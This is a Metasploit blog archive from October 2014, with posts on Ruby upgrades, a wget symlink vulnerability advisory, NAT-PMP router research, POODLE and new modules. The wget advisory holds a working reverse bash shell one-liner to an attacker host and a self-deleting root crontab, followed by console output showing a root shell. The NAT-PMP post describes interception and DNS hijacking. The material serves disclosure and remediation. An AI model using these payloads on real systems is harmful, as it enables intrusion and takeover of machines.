Skip navigation
All Places > Metasploit > Blog > 2014 > October
2014

Upgrading to Ruby 2.1.5

As you probably know, Metasploit is a fairly complex set of programs written in my favorite language, Ruby. Specifically, we've been on Ruby version 1.9.3 for a long while now. Well, time marches on, and the 1.9.3 branch has been in maintenance mode for most of 2014, and will reach end of life by February of 2015. So, we need to get moving on the upgrade to version 2.1.

 

This is a welcome upgrade, to be sure, if for no other reason than the performance gains between versions 1.9.3 and 2.1.5. Check out the comparisons on Is Ruby Fast Yet? if you don't believe me. And unlike the shift from the 1.8 to 1.9 branch, backwards compatibility with Ruby 1.9.3 is pretty painless for us.

 

Of course, major version changes of the Ruby interpreter need to be handled carefully so as not to introduce new and exciting bugs. To that end, James egypt Lee and Luke KronicDeth Imhoff have been performing the due diligence required to ensure that the transition is as smooth as possible for the penetration testers of the world. Once Pull Request #4084 lands next week, we should be ready to rock on the new Ruby hotness.

 

For those of you who use the installed versions of Metasploit -- Metasploit Community, Express, and Pro -- you don't have to do anything special. We'll have a point release of those versions of Metasploit that ships with Ruby 2.1 in the first week of January, 2015.

 

For the open source developer community, we'll have documentation ready next week on how to work with Metasploit with Ruby 2.1 -- essentially, you'll be updating your local .ruby-version, installing Ruby 2.1 in the usual way, and re-install your bundled gems. The whole procedure should take maybe 10 minutes.

 

Update: Documentation for devs is now available at the usual MSF-DEV wiki.

Update: As of November 14, 2014, the latest Ruby version is now 2.1.5.


Upgrading to Ruby 1.9.3-p550

Speaking of upgrading Ruby, there was a security bulletin for Ruby 1.9.3. CVE-2014-8080 describes a bug where untrusted data can trigger a DoS condition in the rexml mixin (which we use in quite a few Metasploit modules). It would be a bummer to have your penetration testing workstation get all its memory consumed by a malicious target. It's not a hair-on-fire, pre-auth code execution bug or anything, but an upgrade is certainly in order.

 

Again, Metasploit Community, Express, and Pro users don't need to do anything other than upgrade Metasploit to the latest, (which will be ready for the next release as well) and developers will want to install Ruby version 1.9.3-p550 (bumped up from 1.9.3-p547) when they get a chance.

 

New Modules

Since last week, we've landed four new exploits and eight new auxiliary and post modules. Especially interesting is the local exploit for CVE-2014-4113, which leverages a local kernel vulnerability to get elevated privileges on most every version of Windows out there.

 

Exploit modules

 

Auxiliary and post modules

Introduction

 

GNU Wget is a command-line utility designed to download files via HTTP, HTTPS, and FTP.  Wget versions prior to 1.16 are vulnerable a symlink attack (CVE-2014-4877) when running in recursive mode with a FTP target. This vulnerability allows an attacker operating a malicious FTP server to create arbitrary files, directories, and symlinks on the user's filesystem. The symlink attack allows file contents to be overwritten, including binary files, and access to the entire filesystem with the permissions of the user running wget. This flaw can lead to remote code execution through system-level vectors such as cron and user-level vectors such as bash profile files and SSH authorized_keys.

Vulnerability

 

The flaw is triggered when wget receives a directory listing that includes a symlink followed by a directory with the same name. The output of the LIST command would look like the following, which is not possible on a real FTP server.

 

lrwxrwxrwx  1 root    root          33 Oct 28  2014 TARGET -> /

drwxrwxr-x  15 root    root        4096 Oct 28  2014 TARGET

 

Wget would first create a local symlink named TARGET that points to the root filesystem. It would then enter the TARGET directory and mirror its contents across the user's filesystem.

 

Remediation

 

Upgrade to wget version 1.16 or a package that has backported the CVE-2014-4877 patch. If you use a distribution that does not ship a patched version of wget, you can mitigate the issue by adding the line "retr-symlinks=on" to either /etc/wgetrc or ~/.wgetrc. This issue is only exploitable when running wget with recursive mode against a FTP server URL. Although a HTTP service can redirect wget to a FTP URL, it implicitly disables the recursive option after following this redirect, and is not exploitable in this scenario.

 

 

Exploitation

 

We have released a Metasploit module to demonstrate this issue. In the example below, we demonstrate obtaining a reverse command shell against a user running wget as root against a malicious FTP service. This example makes use of the cron daemon and a reverse-connect bash shell. First we will create a reverse connect command string using msfpayload.

 

# msfpayload cmd/unix/reverse_bash LHOST=192.168.0.4 LPORT=4444 R

0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112

 

Next we create a crontab file that runs once a minute, launches this command, and deletes itself:

 

# cat>cronshell <<EOD

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root bash -c '0<&112-;exec 112<>/dev/tcp/192.168.0.4/4444;sh <&112 >&112 2>&112'; rm -f /etc/cron.d/cronshell

EOD

 

Now we start up msfconsole and configure a shell listener:

 

# msfconsole

msf> use exploit/multi/handler

msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash

msf exploit(handler) > set LHOST 192.168.0.4

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > run -j

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.4:4444

 

Finally we switch to the wget module itself:

 

msf exploit(handler) > use auxiliary/server/wget_symlink_file_write

msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell

msf auxiliary(wget_symlink_file_write) > set TARGET_DATA file:cronshell

msf auxiliary(wget_symlink_file_write) > set SRVPORT 21

msf auxiliary(wget_symlink_file_write) > run

[+] Targets should run: $ wget -m ftp://192.168.0.4:21/

[*] Server started.

 

At this point, we just wait for the target user to run wget -m ftp://192.168.0.4:21/

 

[*] 192.168.0.2:52251 Logged in with user 'anonymous' and password 'anonymous'...

[*] 192.168.0.2:52251 -> LIST -a

[*] 192.168.0.2:52251 -> CWD /1X9ftwhI7G1ENa

[*] 192.168.0.2:52251 -> LIST -a

[*] 192.168.0.2:52251 -> RETR cronshell

[+] 192.168.0.2:52251 Hopefully wrote 186 bytes to /etc/cron.d/cronshell

[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.2:58498) at 2014-10-27 23:19:02 -0500

 

 

msf auxiliary(wget_symlink_file_write) > sessions -i 1

[*] Starting interaction with 1...

 

id

uid=0(root) gid=0(root) groups=0(root),1001(rvm)


Disclosure Timeline

The issue was discovered by HD Moore of Rapid7, and was disclosed to both the upstream provider of Wget and CERT/CC as detailed below:

 

DateAction
Thu, Aug 28, 2014Issue discovered by HD Moore and advisory written
Thu, Aug 28, 2014Advisory provided to Giuseppe Scrivano, the maintainer of Wget
Sat, Sep 01, 2014Vendor responded, confirmed issue and patch
Tue, Sep 30, 2014Advisory provided to CERT/CC
Tue, Oct 07, 2014CVE-2014-4877 assigned via CERT/CC
Mon, Oct 27, 2014Redhat bug 1139181 published
Tue, Oct 28, 2014Rapid7 advisory and Metasploit module published as PR 4088

Overview

 

In the summer of 2014, Rapid7 Labs started scanning the public Internet for NAT-PMP as part of Project Sonar.  NAT-PMP is a protocol implemented by many SOHO-class routers and networking devices that allows firewall and routing rules to be manipulated to enable internal, assumed trusted users behind a NAT device to allow external users to access internal TCP and UDP services for things like Apple's Back to My Mac and file/media sharing services.  NAT-PMP is a simplistic but useful protocol, however the majority of the security mechanisms rely on proper implementation of the protocol and a keen eye on the configuration of the service(s) implementing NAT-PMP.  Unfortunately, after performing these harmless scans across UDP port 5351 and testing theories in a controlled lab environment, it was discovered that 1.2 million devices on the public Internet are potentially vulnerable to flaws that allow interception of sensitive, private traffic on the internal and external interfaces of a NAT device as well as various other flaws.

 

No CVEs have been assigned for any of these, however CERT/CC has been involved and allocated VU#184540.

 

 

Vulnerability Summary

 

During our research, we identified approximately 1.2 million devices on the public Internet that responded to our external NAT-PMP probes.  Their responses represent two types of vulnerabilities; malicious port mapping manipulation and information disclosure about the NAT-PMP device.  These can be broken down into 5 specific issues, outlined below:

 

  • Interception of Internal NAT Traffic: ~30,000 (2.5% of responding devices)
  • Interception of External Traffic: ~1.03m (86% of responding devices)
  • Access to Internal NAT Client Services: ~1.06m (88% of responding devices)
  • DoS Against Host Services: ~1.06m (88% of responding devices)
  • Information Disclosure about the NAT-PMP device: ~1.2m (100% of responding devices)

 

In RFC 6886, it states:

 

The NAT gateway MUST NOT accept mapping requests destined to the NAT gateway's external IP address or received on its external network interface.  Only packets received on the internal interface(s) with a destination address matching the internal address(es) of the NAT gateway should be allowed.

 

This is a critical requirement given that the source IP address of incoming NAT-PMP messages is what is used to create the mappings as stated in RFC 6886:

 

The source address of the packet MUST be used for the internal address in the mapping.

 

The root cause of these issues is that some vendors are violating these portions of the RFC.

 

What is NAT-PMP?

 

NAT-PMP is a simple UDP protocol used for managing port-forwarding behavior of NAT devices.  While it has been around since approximately 2005, it was formally defined in RFC 6886, which was pushed largely by Apple in 2013 as a better replacement for the Internet Gateway Device (IGD) Standard Device Control Protocol, a part of UPnP.  NAT-PMP clients and libraries are available for nearly all operating systems and platforms.  NAT-PMP servers are similarly available.  An unknown but likely large portion of servers, and perhaps less so for clients, are based on miniupnp.

 

To understand what NAT-PMP does and why the vulnerabilities we will describe are both real and significant, you must first understand how NAT-PMP works.

 

NAT-PMP is designed to be deployed on NAT devices assumed to have at least two network interfaces, one listening on a private, often RFC1918 network and another on a public, generally Internet-facing network.  Clients behind the NAT device may wish to expose local TCP or UDP services to hosts on the public network (again, usually Internet) and can use NAT-PMP to achieve this.

 

Assume the following setup:

 

nat-pmp.png

 

While it is absolutely possible to use different setups, for example with all private addresses, all public addresses, etc, NAT-PMP was designed to be deployed similar to what is shown above.  Even in these nonstandard deployments, however, many of the same security vulnerabilities may still exist.

 

NAT-PMP really offers only two types of operations:

 

  • Obtain the external address of the NAT-PMP device
  • Establish mappings of a TCP or UDP port such that a service on the private network can be reached from the public Internet and then subsequently destroy this mapping

 

To achieve this, a NAT-PMP implementation needs to know:

 

  • Its external IP address, which is ultimately where hosts on the public Internet will try to connect to mapped TCP and UDP ports
  • Where to listen for NAT-PMP messages

 

Using the setup described earlier, if private client 192.168.0.2 wants to allow hosts on the public Internet to connect to a game server it is hosting on 192.168.0.2:1234/UDP, the following (simplified) messages are exchanged:

 

  1. Client requests "Please map UDP port 1234 from the outside to my UDP port 1234"
  2. The NAT device responds with either:
    • "OK, port 1234/UDP has been forwarded to your port 1234/UDP", if the exact mapping was possible
    • "OK, port 5678/UDP has been forwarded to port 1234/UDP", if the exact match wasn't possible but another was; in this case NAT-PMP has chosen port 5678 instead
  3. Client requests "What is your public IP address?"
  4. NAT device responds "My public IP address is a.b.c.d"

 

Now the client can advertise a.b.c.d:1234/UDP as a way for hosts from the public Internet to connect to the server it is running.

 

Exactly how this is achieved under the hood of a NAT-PMP device depends on the implementation, but generally it interacts directly with the firewall, routing, and/or NAT capabilities of the NAT-PMP device and inserts new rules to allow the traffic to flow.  For example, on Linux implementations of NAT-PMP, iptables or ipchains are often used, ipfw is used on OS X and derivatives, etc.  The resulting traffic flow would look like:

 

external client -> a.b.c.d:1234/UDP -> 192.168.0.1:1234/UDP

 

The destination address of the resulting traffic flow corresponds to the IP address of the client that requested the mapping.

 

It is important to note that the traffic flows created here are meant to control how traffic to the external address is handled.  Furthermore, it is important to understand that the external address is not necessarily the public/external address of the NAT-PMP device, but rather what the NAT-PMP device thinks it is.  In a properly deployed setup, however, the external address as reported by NAT-PMP will be identical to the public/external IP address of the device.

 

 

Security Features

 

NAT-PMP is designed to be simple, lightweight and used only on networks where the clients are reasonably trusted, and as such there are no security capabilities currently built into the protocol itself.  In fact, the RFC goes as far as to say that if you care, use IPsec.

 

Many NAT-PMP implementations, however, offer capabilities that may include:

 

  • Restricting what networks/interfaces it will listen on and respond on for NAT-PMP messages
  • Restricting what clients can forward to/from using IP address, port and protocol restrictions

 

 

Vulnerability Details

 

 

Malicious NAT-PMP Port Mapping Manipulation

 

When improperly configured to listen for and respond to NAT-PMP messages on an untrusted interface, in the absence of ACLs controlling what clients can forward, attackers can create malicious NAT-PMP port mappings that can allow:

 

  • Interception of TCP and UDP traffic from internal, private NAT clients destined to the internal, private address of the NAT-PMP device itself.  This can allow for interception of sensitive internal services such as DNS and HTTP/HTTPS administration.
  • Interception of TCP and UDP traffic from external hosts to the external address of the NAT-PMP device or the private NAT clients.
  • Access to services provided by clients behind the NAT device by spoofing NAT-PMP port mapping requests
  • DoS against the NAT-PMP device itself by requesting an external port mapping for a UDP or TCP service already listening on that port, including the NAT-PMP service itself.

 

We will now explore each of these in a little more depth.

 

Interception of Internal Traffic

 

If a NAT-PMP device is incorrectly configured and sets its NAT-PMP external interface to be the internal interface that the NAT clients use as their gateway and listens for NAT-PMP messages on both the internal and external interfaces, it is possible for remote attackers from outside to intercept arbitrary TCP and UDP traffic destined to (not through) the NAT-PMP device's internal interface from internal NAT clients.  In this attack, traffic destined to the NAT-PMP device's internal interface is forwarded out of the NAT network to an external attacker, and would likely target a service that could be leveraged for further exploitation, such as DNS or HTTP/HTTPS administrative services on the NAT-PMP device itself.

 

To demonstrate this, a NAT-PMP implementation running on a Linux system has been installed with iptables and two interfaces -- one external, listening on the public internet with address 192.0.2.1 (thanks, RFC 5737!)  and another internal, listening on 172.16.0.1 from RFC1918 space.  This device is purposely misconfigured, listens on all addresses for NAT-PMP, and incorrectly set miniupnpd's external interface to be the internal interface.  This system also hosts a simple HTTP administration page for internal use only, as seen when browsing to http://172.16.0.1:

 

1-1.png

 

Then, utilizing Metasploit's natpmp_map module, we attack the external, public address and establish a mapping to intercept the HTTP administration requests, forwarding 80/TCP on the NAT-PMP device to our IP address:

 

 

1-2.png

 

Inspecting the firewall rules on the target, we can see that firewall rules were established that should forward any HTTP traffic destined to the NAT-PMP device's internal address, 172.16.0.1, to our IP, 192.0.2.100 :

 

1-4.png

 

Finally, we confirm this by navigating to http://172.16.0.1 again.  Notice that the login is now different ("HOME NAT Interception"):

 

1-3.png

 

To take this even further, oftentimes NAT clients are configured to utilize their NAT device as their DNS server.  By establishing a mapping for DNS that redirects to a malicious host, we can control DNS responses and use this to launch further attacks against the NAT clients, including client-side attacks.  First, we establish the mapping for DNS on 53/UDP:

 

dns.png

 

Then, utilizing Metasploit's fakedns module, we reply with 1.2.3.4 for any requests for example.com's A record:

 

1-7.png

 

Finally, showing that example.com now resolves the address we specified, 1.2.3.4:

 

1-8.png

 

By intercepting and controlling DNS requests for these private NAT clients, we can redirect arbitrary HTTP/HTTPS requests to arbitrary, assume malicious hosts on the public Internet which will allow all manner of further attack vectors.

 

Interception of External Traffic

 

If a NAT-PMP device is incorrectly configured, sets its NAT-PMP external interface to be the external interface that faces the public Internet and listens for NAT-PMP messages on both the internal and external interfaces, it is possible for remote attackers from outside to intercept arbitrary TCP and UDP traffic destined from external hosts to and perhaps through the NAT-PMP device's external interface.  In this attack, traffic destined to the NAT-PMP device's external interface is forwarded back out to the attacker, in effect bouncing requests from the NAT-PMP device's external interface to an attacker.

 

Devices vulnerable to this will report the external address to be something external, often the public IPv4 address on the Internet.

 

The attack scenarios are similar to the previous internal-targeted attack, however this time they would typically target services legitimately exposed externally.  Target services could again include HTTP/HTTPS and other administrative services, except in this case the potential victim of the traffic intercept would be anyone trying to administer the device remotely, which could include ISPs who expose HTTP/HTTPS services to the world but protect it with a password.

 

This attack can also be used to cause the NAT-PMP device to respond to and forward traffic for services it isn't even listening on.  For example, if the NAT-PMP device does not have a listening HTTP service on the external interface, this same flaw could be used to redirect inbound HTTP requests to another external host, making it appear that HTTP content hosted on the external host is hosted by the NAT-PMP device.

 

Access to Internal NAT Client Services

 

Because NAT-PMP utilizes the source IP address as the target to which traffic will be forwarded, as the previous two attack scenarios demonstrate it is critical to control where NAT-PMP listens for messages as well as what IP addresses are allowed to create mappings.  If, however, ACLs exist that restrict which clients can create mappings but NAT-PMP is incorrectly configured to listen for NAT-PMP messages on an untrusted interface such was a WAN interface connected to the Internet, it is still possible to create mappings by spoofing NAT-PMP mapping requests, using a source address that matches a valid, internal network range served by the NAT-PMP device.

 

Practically speaking, this attack is considerably more difficult due to things like BCP38 and others that are used to thwart attacks that rely on spoofed source IP addresses.

 

DoS Against Host Services

 

Taking the attack scenarios described in the first vulnerability, it is possible to turn them into DoS conditions against the NAT-PMP device itself by creating mappings for other services already listening on the NAT-PMP device, presumably internally.  For example, using the same setup as in vulnerabilities 1-2, if we request a mapping for the NAT-PMP service itself, we can redirect any NAT-PMP messages to a host of our choosing, in turn preventing any further mappings from being created.

 

First, we act like a legitimate client on the private NAT network and request a forwarding for 1234/UDP, which works:

 

4-1.png

 

Then, we attack from the outside and establish a bogus mapping for the NAT-PMP service itself:

 

4-2.png

 

Finally, we again act as a legitimate client on the private NAT network and against request a forwarding for 1234/UDP, which now fails:

 

4-3.png

 

 

NAT-PMP Information Disclosure

 

If improperly deployed, NAT-PMP can disclose:

 

  • The "external address" if listening on the public Internet.  This can often include an internal, RFC1918 address if the external interface is incorrectly set to the internal, private interface.  Metasploit's natpmp_external_address module can be used to demonstrate this.
  • The ports the NAT-PMP device is listening on without having to scan those ports directly.  By requesting a mapping with an external port that corresponds to a port that the NAT-PMP device is already listening on, for example for another common NAT service such as DNS, HTTP/HTTP, SSH or Telnet, some NAT-PMP implementations most notably OS X, will respond in a positive manner but indicating that a different external port was used. Metasploit's natpmp_portscan module can be used to demonstrate this.
  • Similarly, ports already forwarded or in use by another NAT client

 

These information disclosure vulnerabilities present relatively little risk, however in the spirit of even disclosing research that doesn't result in huge security implications I figured it was worth discussing them here.  If nothing else, they are a fun exercise and may open future areas.

 

Now for some miscellany.

 

External Address and Response Code Analysis

 

Using the first information disclosure and applying it to our Sonar data set, we discovered the following breakdown in terms of the types of external addresses returned:

 

  • 1,032,492 devices responded with an external IP address identical to the IP address Sonar contacted them on
  • 104,183 devices responded with status code 3 indicating that the NAT device itself hasn't received an IP address from DHCP, presumably on the truly internal network
  • 34,187 devices responded with 0.0.0.0, usually indicating that the other interface hasn't received an IP address yet
  • 24,927 devices responded with an RFC1918 address (10.0.0.0/8, 192.168.0.0/16 and 172.16.0.0/12 had 17810, 4139 and 3608 devices, respectively)
  • 7,400 devices responses were from a single ISP in Israel that responds to unwarranted UDP requests of any sort with HTTP responses from nginx. Yes, HTTP over UDP:

          http.png

  • 2,974 devices responded with an external address that wasn't identical to the IP address Sonar contacted it on, wasn't loopback or RFC1918, and wasn't in an obviously similar network
  • 1,037 devices responded with an external address allocated for Carrier Grade NAT (CGN) address space, a private space set aside for large-scale NAT deployments in RFC6598.  Yes, there are 1037 "carrier grade" devices out there with an almost trivially exploitable gaping vulnerability allowing traffic interception.  CGN is Inception-style NAT. NAT within NAT, because even ISPs have more customers than they do usable IPv4 space.  Because each address in CGN in theory fronts hundreds, thousands or perhaps even more customers, each with their own RFC1918 networks with untold numbers of devices, the potential for impact here could be tremendous.
  • 845 devices responded with an external IP address different from the IP address Sonar contacted them on, but in the same /16
  • 240 devices responded with a loopback address in 127.0.0.0/8.  Does this imply that we could intercept loopback traffic?  Oh, the horrors.
  • 128 devices responded with an external IP address different from the IP address Sonar contacted them on, but in the same /24

 

Side-channel Port Scanning

 

Using the second information disclosure issue above, you can gain a deeper understanding of these systems.  For example, on an Apple Airport, using the second technique, we can discover all sorts of fun ports that are apparently used internally on the airport but don't appear to be open from the outside:

 

map.png

 

Some of these have obvious explanations, but others don't.  What are these services?  Why would the Airport not allow me to map some of these ports but the ports shows as closed in a portscan? Is the Airport actively using them?  If so, who can connect to them if it isn't me, the owner of the device?

 

Are They Backwards?

 

If you think about how most SOHO-style routers/firewalls are built, they are generally some sort of embedded-friendly operating system, perhaps even a stripped-down Linux install, running a DHCP client on a WAN interface and a DHCP server on the internal interface(s).  What if some number of the devices responding to NAT-PMP on the public Internet were simply cabled backwards, literally the WAN connection being plugged into the LAN port and vice versa?  Could it really be that simple? Theoretically, if the devices firewalling/routing capabilities can handle any arbitrary WAN or LAN port asking for or serving DHCP leases, for example, but the NAT-PMP implementation couldn't, in effect every address on the public Internet is technically behind these NAT devices and may have all of the NAT-PMP capabilities that legitimate clients in a proper NAT-PMP deployment would have, including, creating firewall and routing rules.

 

Deep in the Bowels of Carrier Networks, Lurking RFC1918 Hipsters or Patterns of Problems

 

How often have you, for example, tracerouted through or to a particular network, only to see RFC1918 addresses show up in the responses?  It definitely happens, and ISPs and other carriers have been known to utilize RFC1918 address space internally for all number of legitimate reasons.  So, does this mean that these NAT-PMP responses with RFC1918 external addresses are coming from ISP and carrier equipment?

 

Or, are there really 568 people out there deciding "You know, using the first available address in this RFC1918 address space is too popular, I'm going to pick 10.11.14.2 for the address of my device"?

 

Or, are the hosts returning RFC1918 addresses in the NAT-PMP external address probes displaying patterns in the addresses themselves?  For each of the 3 RFC1918 address spaces, we observed the following breakdown in terms of the top 5 addresses returned from each space:

 

192.168.0.0/16

 

NAT-PMP External AddressCount
192.168.0.50784
192.168.1.64334
192.168.1.2152
192.168.100.2118
192.168.1.10040

10.0.0.0/8

 

NAT-PMP External AddressCount
10.11.14.2565
10.10.10.1027
10.0.0.317
10.0.0.411
10.10.14.210

172.16.0.0/12

 

NAT-PMP External AddressCount
172.17.0.1011
172.20.20.210
172.16.225.1143
172.16.18.1313
172.16.1.113

 

Using these popular addresses and a search engine, you'll very quickly find there may be particular devices that typically use these addresses -- for example if they come with a hard-coded RFC1918 address that must be changed.

 

Country Analysis

 

Rather than looking at the external address reported by NAT-PMP, if you instead take the public IPv4 address that responded and look at the country and organization of origin, you start to seem some interesting results.  A significant portion of the responses come from ISPs and telecom companies in large countries where the number of public IPv4 addresses allocated to that country is small relative to the number of people and devices looking for Internet access.  Furthermore, a number of them are primarily mobile phone/data providers operating in areas where the easiest option to provide Internet access to its customers is to do it wirelessly in some way.

 

CountryResponding IPs
Argentina145866
Russian Federation133126
China119043
Brazil110007
India99168
Malaysia89934
United States64182
Mexico50662
Singapore49713
Portugal18863

 

Affected Vendors

 

Incorrect miniupnp configurations are likely to blame for most occurrences of these issues as miniupnp is available for almost every platform that would ever connect to the Internet in some way.  There are upwards of 1.2 million devices on the public Internet that exhibit signs of being vulnerable to one or more of the previously described vulnerabilities.  To be clear, though, even though there are almost certainly miniupnp NAT-PMP instances out there that are vulnerable to the issues we are disclosing, these likely stem from misconfigurations of miniupnp rather than a flaw in miniupnp itself.  Furthermore, it is likely that many of the vulnerable NAT-PMP instances are not based on miniupnp and may have more or different vulnerabilities.

 

During the initial discovery of this vulnerability and as part of the disclosure process, Rapid7 Labs attempted to identify what specific products supporting NAT-PMP were vulnerable, however that effort did not yield especially useful results.  To attempt to identify these products, we used the results of Sonar's probes to identify misconfigured or misimplemented hosts and then correlated that with other data that Sonar collects.  While things did seem promising at first when our correlation started hinting that the problem was widespread across dozens of products from a variety of vendors, upon acquiring a representative subset of these products and performing the testing in our lab we were unable to identify situations in which these products could be vulnerable to the NAT-PMP vulnerabilities discussed in this advisory.  Furthermore, because of the technical and legal complexities involved in uncovering the true identity of devices on the public Internet, it is entirely possible, perhaps even likely, that these vulnerabilities are present in popular products in default or supported configurations.

 

Because of the potential impact of these vulnerabilities and the difficulty in identifying what products are vulnerable, Rapid7 Labs opted to engage CERT/CC to handle the initial outreach to potentially affected vendors and organizations.

 

Conclusions

 

The vulnerabilities disclosed in this advisory are not theoretical, however how many devices on the public Internet are actually vulnerable to the more severe traffic interception issues is unknown.  Vendors producing products with NAT-PMP capabilities should take care to ensure that flaws like the ones disclosed in this document are not possible in normal and perhaps even abnormal configurations. ISPs and entities that act like ISPs should take care to ensure that the access devices provided to customers are similarly free from these flaws.  Lastly, for consumers with NAT-PMP capable devices on your network, you should ensure that all NAT-PMP traffic is prohibited on un-trusted network interfaces.

 

Thanks to Rapid7 for supporting this research, CERT/CC for assisting with coordinated, responsible disclosure, and Austin Hackers Anonymous (AHA!), where I initially presented some of the beginnings of this research back in 2011.

 

Updates

 

  • 10/22/2014: CERT-CC informed us that the miniupnp project has taken measures to prevent most of the issues described here.  In particular, NAT-PMP messages arriving on a WAN interface will now be logged and discarded (commit 16389fda3c5313bffc83fb6594f5bb5872e37e5e) , the default configuration file must now be configured by anyone running miniupnp,  and this file now has more commentary around the importance of selecting the correct external interface and ACLs for mappings (commit 82604ec5d0a12e87cb5326ac2a34acda9f83e837).

metasploit-logo-old.pngOn October 20, 2009 -- five years ago today -- Rapid7 acquired Metasploit. At the time, there was skepticism about the deal, and what it would mean for Metasploit and the open source community. The skepticism was, of course, fair. If Rapid7 was going to fund (and therefore, control) the development of the Metasploit Framework, why would anyone contribute to it any more? Why give away work product for free when Rapid7 is just going to turn around and sell it?

 

Today, Metasploit is still actively maintained by both paid Rapid7 software engineers and a small army of volunteer, open source contributors from around the world. In 2009, there were a grand total of 17 people who committed to Metasploit. This year alone, we've seen about 150 people contribute something to Metasploit. In fact, of the 400 or so contributors over the entire life of Metasploit, nearly half of them have committed something in the last 12 months. Check out the GitHub contributor graph, noting the pre- and post-acquisition volumes:


github-graph.png

That couldn't have happened without not only Rapid7's support, but your support. Why do you, the open source contributor, do this? Well, that leads to the other fear at the time: once Metasploit came under the control of The Man, developed by Full Time Employees, who are Paid With Money, surely the next logical step was to turn Metasploit closed source -- or worse, crippleware, used only as a shingle to sell some weaksauce Metasploit Professional product that Real Hackers wouldn't ever use anyway.

 

That didn't happen either. When I started at Rapid7, shortly after the acquisition, I was hired to work on the proprietary side of Metasploit development, tasked with building out the first commercial Metasploit offering, Metasploit Express. When I started, I was just as worried that Metasploit's open development would dry up, the contributors would flee, and the massive open source user base would find something else to develop and deliver their exploits with.metasploit-logo.png

 

Nope. It became obvious that Rapid7, from the top down, was and remains fully committed to the open source nature of Metasploit. In fact, it would be product suicide not to. Without the constant firehose of input from researchers, hackers, hobbyists, and IT pros from around the world, there would be no way Metasploit could stay relevant. We're committed to making Metasploit Framework better than ever, with more exploits, more features, and increasing coverage for all sorts of targets, from IoT devices to mainframes.

 

Today, tons and tons of people still use and still contribute to the Metasploit Framework. They use it for free, and they contribute for free, and that seems to be working out pretty well for both Rapid7 and the Internet at large. Obviously, Metasploit Pro brings a lot of extras to the table that are pretty valuable for the professional penetration tester and red-teamer, and you should totally try it for free today. However, it's the open source core of Metasploit that has become the lingua franca for writing and expressing reliable and repeatable exploit code for the good of the Internet.

 

My own five year anniversary at Rapid7 is coming up here in just a couple months, and I feel like I've spent my working and playing time productively to help make the Internet -- and therefore, the world -- a better place. I know I'm lucky to be in that position. My job depends on all of you who use and make Metasploit what it is. So, thanks a lot for keeping me employed, and for keeping important security software open and free. This project wouldn't have gone anywhere without you.

A Post-POODLE World

 

Well, it's another week, and another infosec community panic attack. If you're reading this blog, you're almost certainly the sort of person who already heard about the POODLE attack on SSLv3 from Google, or saw our own Jen Ellis's writeup over on Rapid7's Information Security blog. This week's Metasploit release addresses POODLE in a few ways to make sure that our beloved penetration testers don't get bit by this bug, as well as to ensure that our own exploits and auxiliary modules still function as expected in a post-POODLE networked world.

 

The Metasploit Web UI

 

Metasploit Pro, Metasploit Express, and Metasploit Community now only support TLSv1 and later as minimum cipher levels. If you're using a browser that doesn't support TLSv1, well... you probably shouldn't be mucking around with penetration testing software, since you're on a browser and operating system that almost certainly has other remote code execution bugs. It would be a bummer if one of your targets started hacking you back, after all.

 

Metasploit Modules

 

Metasploit modules which target services over HTTPS now automatically negotiate TLS/SSL versions by default. This is an important change, because previously, we preferred SSLv3 for targets. Before this week, nearly all web servers -- especially those hosting vulnerable applications -- would accept SSLv3, but may or may not accept TLSv1. In today's post-POODLE world, though, we can't be sure that's the case. This is an improvement to SSL negotiation for attack traffic that's been a long time coming anyway, so thanks to Google for making this announcement! Also, if there is an attack or probe that must use SSLv3 due to legacy enforcements, then module writers can prefer that version specifically. Handy!

 

Meterpreter

 

Meterpreter sessions now prefer TLSv1, but can fall back to SSLv3 if needed. Like the module change, this is mostly to ensure continued functionality. We're predicting that sites that have deep packet inspection (DPI) devices, such as intrusion prevention systems (IPSes) and protocol-aware firewalls, will likely start blocking SSLv3 as a matter of course to avoid giving away their users' secrets to nosy Internet scoundrels. Therefore, we want to ensure our not-quite-benign traffic can also communicate across these egress-controlled networks. You can see the difference in Meterpreter traffic on OJ @TheColonial Reeve's testing screenshots.

 

Metasploit RPC

 

The Metasploit RPC client now prefers TLSv1 over SSLv3, like all normal clients should.

 

Lessons learned

 

This flurry of activity is but one example of custom, non-browser, SSL-aware software that needed human intervention to ensure functionality in the face of the death of SSLv3. I doubt we're alone here; I imagine there are hundreds to thousands of similar applications that use the normal SSL APIs common for all operating systems that chose SSLv3 as a then-sensible default, banking on the fact that pretty much anything can talk SSLv3. Thanks to Cloudflare's statistics, we now know that SSL traffic (as opposed to TLS traffic) seems to account for around two percent of all Internet traffic -- and most of that is automated crawlers and malicious traffic. Hey, who's calling Meterpreter malicious? It's merely a remote administration tool... right?

 

New Modules

 

Since I somehow managed to skip last week's update blog post, here are the new modules landed in the last couple weeks. Of special note is the Bluetooth Personal Area Networking (BthPan.sys) local privilege elevation exploit from our friends at @KoreLogic. You remember that XP is end of life, right? This means the liklihood of a patch for this vuln is extremely small -- you can bet that this will remain a reliable vector for extending control on XP platforms forever.

 

Exploit modules

 

Auxiliary and post modules

Derbycon After-Action Report

 

As many of you know, last week and weekend was the fourth annual Derbycon -- a mid-sized gathering of security professionals from around the world, held in Louisville, Kentucky. A merge conflict* of Metasploit movers and shakers were there, and it's always nice to see friends, peers, and adversaries all gathered in the same place to swap info, both professional and personal. If you missed it -- which is likely, given the readership of this blog would outstrip all reasonable resources of the venue -- you can catch a ton of the talks generously provided by Irongeek. Of special interest to Metasploit users and developers would be James Egypt Lee's tour of the New Shiny in Metasploit Framework, and there's tons of good material from other Metasploit contributors. Look for the talks presented by Brandon Perry, Carlos DarkOperator Perez, Brandon zeknox McCann and Royce r3dy Davis, Jon Cran, and of course many, many others. There's hours upon hours of content there.

 

Of course, this is all a long way around of saying that I didn't write a weekly update blog post last week, so today's installment will cover roughly the last thirteen days of Metasploit movement.

 

 

[Br]eaking [Ba]sh

HULKPC2.gif

If this is the first time you're hearing about Shellshock, the Bash Bug, a Bug called Bash, Bashbleed, Heartshock.... well, you should probably just head on over to Jen Ellis's delightful write up of the bash bruhaha. Also, you're very, very behind, but that's okay. I won't judge.

 

